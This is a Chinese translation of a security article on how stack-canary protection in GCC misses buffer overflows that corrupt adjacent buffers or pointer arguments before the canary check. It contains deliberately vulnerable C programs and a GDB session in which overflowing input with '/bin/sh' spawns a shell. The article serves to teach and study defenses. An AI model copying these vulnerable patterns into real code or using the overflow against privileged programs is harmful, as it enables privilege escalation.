在当今的操作系统中,内存缺陷漏洞已经越来越难挖掘了,栈保护措施已经使原来的缓冲区溢出利用方法(将NOP块和shellcode写入到缓冲区中,并用缓冲区内的地址覆盖EIP所指向的地址)失效了。如果没有某种程度的信息泄露,在地址空间分布随机化(ASLR)和栈cookies的双重保护下,用传统方法实际上已经很难对远程系统执行有效的溢出攻击了。
不过,现在仍存在可被利用的栈输入/输出漏洞。本文描述了一些常用缓冲区溢出技术,这些技术不会触发栈的__stack_chk_fail保护,或至少到目前为止还有效的技术。本文我们不再利用新技术通过修改EIP来修改程序的执行流程,而是将精力集中到一系列新的目标中。同时,本文也会讨论GCC 4.6及之前版本中未出现在任何文档中的函数安全模式(function safety model)。
GCC ProPolice记录的异常
根据函数安全模型的ProPolice文档,以下情况不会被保护:
1.无法被重新排序的结构体,以及函数中的指针是不安全的。
2.将指针变量作为参数时是不安全的。
3.动态分配字符串空间是不安全的。
4.调用trampoline代码的函数是不安全的。
另外,我们也发现以下几种情况也是不安全的:
1.如果函数中定义了一块以上缓存且没有正确排序,则至少一块缓存可能在引用前被修改被干扰。
2.参数列表中的指针或原语(primitives)可能被修改,但在canary检测之前被引用。
3.任意结构体原语或缓存都有可能在引用前被修改(包括C++中的栈对象)。
4.位于栈帧低地址中的指向变量的指针是不安全的,因为数据在被引用前可能会先被覆盖。这里我们不再局限于当前栈帧中的本地变量、指针(如函数指针)和缓存等。
IBM在关于函数安全模型的文档中假定攻击类型都是传统的栈溢出方式。文档中声明,函数返回后,栈canary后的数据是安全的,事实也确实是这样。但问题是数据在函数返回之前可能不是安全的。即使在不同的栈帧中,指向栈的高地址的指针也很容易被改写。
基础攻击
以下为一个简单的示例:
#include <stdio.h> #include <stdlib.h> int main() { char buff[10]; char buff2[10] = "dir"; // 该命令在windows与linux系统中均有效 scanf("%s", buff); printf("A secure compiler should not execute this code in case of overflow.\n"); system(buff2); }
这个简单的函数包含两个不同的变量,第一个变量从标准输入读取一个字符串,第二个变量作为system函数的参数。scanf函数包含可以溢出的漏洞,如果我们输入的字符超过10个,就会产生溢出,会将buff字符串数组之上高地址的任何数据覆盖。在GCC中,"fstack-protoctor-all"标记要作的就是在内存中检测这种情况。下面我们用GDB看一下:
main()函数的反汇编代码:
0x08048494 <+0>: push %ebp 0x08048495 <+1>: mov %esp,%ebp 0x08048497 <+3>: and $0xfffffff0,%esp 0x0804849a <+6>: sub $0x30,%esp 0x0804849d <+9>: mov %gs:0x14,%eax 0x080484a3 <+15>: mov %eax,0x2c(%esp) 0x080484a7 <+19>: xor %eax,%eax 0x080484a9 <+21>: movl $0x726964,0x22(%esp) 0x080484b1 <+29>: movl $0x0,0x26(%esp) 0x080484b9 <+37>: movw $0x0,0x2a(%esp) 0x080484c0 <+44>: lea 0x18(%esp),%eax 0x080484c4 <+48>: mov %eax,0x4(%esp) 0x080484c8 <+52>: movl $0x80485e0,(%esp) 0x080484cf <+59>: call 0x80483b0 <scanf@plt> 0x080484d4 <+64>: movl $0x80485e4,(%esp) 0x080484db <+71>: call 0x8048390 <puts@plt> 0x080484e0 <+76>: lea 0x22(%esp),%eax 0x080484e4 <+80>: mov %eax,(%esp) 0x080484e7 <+83>: call 0x80483a0 <system@plt> 0x080484ec <+88>: mov $0x0,%eax 0x080484f1 <+93>: mov 0x2c(%esp),%edx 0x080484f5 <+97>: xor %gs:0x14,%edx 0x080484fc <+104>: je 0x8048503 <main()+111> 0x080484fe <+106>: call 0x8048380 <__stack_chk_fail@plt> 0x08048503 <+111>: leave 0x08048504 <+112>: ret End of assembler dump. (gdb) break *0x080484cf Breakpoint 1 at 0x80484cf: file firstexample.cpp, line 7. (gdb) break *0x080484e7 Breakpoint 2 at 0x80484e7: file firstexample.cpp, line 9. (gdb) r Starting program: /home/ewimberley/testing/a.out Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7 7 scanf("%s", buff); (gdb) x/s buff2 0xbffff312: "dir" (gdb) con condition continue (gdb) continue Continuing. aaaaaaaaaa/bin/sh A secure compiler should not execute this code in case of overflow. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9 9 system(buff2); (gdb) x/s buff2 0xbffff312: "/bin/sh" (gdb) continue Continuing. $ whoami ewimberley $ exit [Inferior 1 (process 3349) exited normally]
可以向buff合法写入10个字节,多出来的字节写入到buff2中(canary被覆盖之前)。如果我们从标准输入写入21个‘a’并查看内存,可以看到canary的第一个字节(0×00)被破坏了。
Breakpoint 1, 0x080484cf in main () at firstexample.cpp:7 7 scanf("%s", buff); (gdb) x/32x buff 0xbffff308: 0xdb 0x3b 0x16 0x00 0x24 0x93 0x2a 0x00 0xbffff310: 0xf4 0x8f 0x64 0x69 0x72 0x00 0x00 0x00 0xbffff318: 0x00 0x00 0x00 0x00 0x00 0xe6 0x75 0xc2 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00 (gdb) continue Continuing. aaaaaaaaaaaaaaaaaaaaa A secure compiler should not execute this code in case of overflow. Breakpoint 2, 0x080484e7 in main () at firstexample.cpp:9 9 system(buff2); (gdb) x/32x buff 0xbffff308: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffff310: 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0x61 0xbffff318: 0x61 0x61 0x61 0x61 0x61 0x00 0x75 0xc2 0xbffff320: 0x10 0x85 0x04 0x08 0x00 0x00 0x00 0x00 (gdb) continue Continuing. sh: aaaaaaaaaaa: not found *** stack smashing detected ***: /home/ewimberley/testing/a.out terminated ======= Backtrace: ========= /lib/i386-linux-gnu/libc.so.6(__fortify_fail+0x45)[0x2188d5] /lib/i386-linux-gnu/libc.so.6(+0xe7887)[0x218887] /home/ewimberley/testing/a.out[0x8048503] /lib/i386-linux-gnu/libc.so.6(__libc_start_main+0xf3)[0x14a113] /home/ewimberley/testing/a.out[0x8048401] ======= Memory map: ======== 00110000-0012e000 r-xp 00000000 08:01 1577417 /lib/i386-linux/-gnu/ld-2.13.so 0012e000-0012f000 r--p 0001d000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so 0012f000-00130000 rw-p 0001e000 08:01 1577417 /lib/i386-linux-gnu/ld-2.13.so 00130000-00131000 r-xp 00000000 00:00 0 [vdso] 00131000-002a7000 r-xp 00000000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 002a7000-002a9000 r--p 00176000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 002a9000-002aa000 rw-p 00178000 08:01 1577420 /lib/i386-linux-gnu/libc-2.13.so 002aa000-002ad000 rw-p 00000000 00:00 0 002ad000-002c9000 r-xp 00000000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 002c9000-002ca000 r--p 0001b000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 002ca000-002cb000 rw-p 0001c000 08:01 1577415 /lib/i386-linux-gnu/libgcc_s.so.1 08048000-08049000 r-xp 00000000 08:01 1048890 /home/ewimberley/testing/a.out 08049000-0804a000 r--p 00000000 08:01 1048890 /home/ewimberley/testing/a.out 0804a000-0804b000 rw-p 00001000 08:01 1048890 /home/ewimberley/testing/a.out 0804b000-0806c000 rw-p 00000000 00:00 0 [heap] b7fec000-b7fed000 rw-p 00000000 00:00 0 b7ffc000-b8000000 rw-p 00000000 00:00 0 bffdf000-c0000000 rw-p 00000000 00:00 0 [stack] Program received signal SIGABRT, Aborted. 0x00130416 in __kernel_vsyscall ()
需要注意的是,从sh得到的错误消息依然会被打印出来:
sh: aaaaaaaaaaa: not found
这是因为直到函数返回之前的那一刻才会进行栈检查,在检测到内存被破坏之前,非法的字符串已经被引用了。字符串结尾处的栈canary的第一个字节被覆盖(错误消息中只有11个‘a’,因为buff2中包含字节长)。下图演示了根据函数安全模型,函数在执行时栈帧的情况:
变量声明的顺序通常决定其在栈帧中的顺序。缓存在声明时通常是往栈底方向声明的,以此来减缓其对其它本地变量的溢出攻击,但当有两块缓存时,其中的一块必须在另一块缓存和canary之间。如果有缓冲区溢出漏洞影响了第一块缓存,则第二块缓存可被任意写入。这比所有的本地变量被溢出攻击要好,但字符串通常更容易被选为攻击目标。
函数参数不能轻易改变位置,所以它们在其在这些变量缓存的上面。主函数的缓存在栈帧的最底部(高地址)。如前文所述,直到函数返回时才会对栈进行检查,所以这些参数仍有可能被当前函数引用 。这表示可以通过将恶意代码写入到参数的方式来触发缓冲区溢出漏洞。
void vulnerable(char* buffer) { char buff[10]; scanf("%s", buff); printf("A secure compiler should not execute this code in case of overflow.\n"); system(buffer); } int main() { char buff2[10] = "dir"; vulnerable(buff2); printf("The overflow happened in a different function...\n"); }
vulnerable()函数的栈帧的结构类似下图(根据编译器的不同略有差异)。char *buff与包含漏洞的char[] buff分别在canary的两侧,但仍无法避免受到溢出攻击。
在vulnerable()函数到达其返回点时,仍会进行canary检测。不幸的是,攻击者在这时已经获取到shell的访问权限,且在程序做出任意栈溢出警告前将其kill掉了。如果vulnerable()函数打开一个shell并杀死它自己的进程,安全检测就不会运行了。需要注意的是如果该漏洞程序是以root权限(或者设置了suid位且程序所有者为root)运行的,则通过利用该漏洞就可以获取到系统root用户权限。
其它攻击向量
system(char *)函数只是一个简单的示例,系统中还有很多类似的情况。本例中的攻击者溢出了一个直接传递到printf函数中的字符串。
容易受到攻击的目标包含但不限于:
1.传递到system(char *command)函数中的字符串
2.做为字符串格式的字符串(Strings that are used as a string format)
3.包含SQL状态的字符串
4.包含XML的字符串
5.写入到硬盘的字符串
6.包含密码信息的字符串
7.包含加密密钥的字符串
8.包含文件名的字符串
附录A
/* Copyright (C) 2012 Eric Wimberley and Nathan Harrison WARNING: 以下这段代码故意写成易受攻击的形式。 读者可以尝试在测试系统或沙盒中编译并以守护程序或以root权限运行这段代码。 */ // windows系统中需要的头文件 //#include "stdafx.h" //#include <process.h> // linux系统中需要的头文件 #include <stdlib.h> #include <stdio.h> // code portability for vulnerable function // TODO pick a vulnerable function, any vulnerable function //#define vulnerableFunction printf #define vulnerableFunction system //#define vulnerableFunction mysql_query(...)? //#define vulnerableFunction someone_who_trusts_this_string_in_any_way(...)? // code portability for scanf function (for what it's worth) // TODO comment out for linux //#define scanf scanf_s void c(char* buffer) { char buff[10]; // 如果使用scanf_s漏洞就不存在了 // 预编译指令是为了保证不使用scanf_s #ifndef scanf scanf("%s", buff); #endif #ifdef scanf #undef scanf scanf("%s", buff); #define scanf scanf_s #endif printf("A secure compiler should not execute this code in case of overflow.\n"); vulnerableFunction(buffer); } class TestClass { public: char buff[10]; char buff2[21]; TestClass() { sscanf(buff2, "SELECT * FROM table;"); } void a() { scanf("%s", buff); printf("A secure compiler should not execute this code in case of overflow.\n"); vulnerableFunction(buff2); } }; void scenario1() { // Case 1 and 2:简单栈帧 // depending on compiler implementation these stack frames may be arranged so // such that one buffer can overflow into the other (at least one of these // works on most compilers) // TODO pick one of these printf("Running scenario 1...\n"); a(); } void scenario2() { // Case 2:对象中的堆溢出 // 堆溢出是一个已知的问题,但对象使该问题更严重了 // 因为对象之间的缓存是相临的。 printf("Running scenario 2...\n"); TestClass* test = new TestClass(); test->a(); } void scenario3() { // Case 3:对象中的栈溢出 // objects on the stack are almost unaccounted for printf("Running scenario 3...\n"); TestClass test = TestClass(); test.a(); } void scenario4Part2(TestClass& test) { test.a(); } void scenario4() { // Case 4:对象中的栈溢出 // objects on the stack are almost unaccounted for // 该情况也可以作为栈检查应该更早执行的证明 // 栈检查的最佳时机就是缓存被改写之后就直接检查 printf("Running scenario 4...\n"); TestClass test = TestClass(); scenario4Part2(test); printf("The overflow happened in a different function...\n"); } // honestly, this scenario might be the worst offender void scenario5() { // Case 5:对象中的栈溢出 // 函数参数在栈canary以下,但由于不正确的检查时机,其包含漏洞 // 该情况也可以作为栈检查应该更早执行的证明 // 栈检查的最佳时机就是缓存被改写之后就直接检查 printf("Running scenario 5...\n"); char buff2[10] = "dir"; c(buff2); printf("The overflow happened in a different function...\n"); } // TODO use precompiler to make this code portable // int _tmain(int argc, char* argv[]) int main(int argc, char* argv[]) { if(argc == 2) { if(argv[1][0] == '1') { scenario1(); } else if(argv[1][0] == '2') { scenario2(); } else if(argv[1][0] == '3') { scenario3(); } else if(argv[1][0] == '4') { scenario4(); } else if(argv[1][0] == '5') { scenario5(); } } else{ printf("Usage [program] [scenario number 1-5]\n"); } printf("\nA secure compiler should not get to this point.\n"); return 0; }
引用资料
《Smashing The Stack For Fun And Profit》
Aleph1
http://www.phrack.org/issues.html?id=14&issue=49
《Protecting from stack-smashing attacks》
Hiroaki Etoh and Kunikazu Yoda
http://www.research.ibm.com/trl/projects/security/ssp/node4.html#SECTION00041000000000000000
[译者/taskiller,参考自Eric Wimberley,Nathan Harrison得《Modern Overflow Targets》 ,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]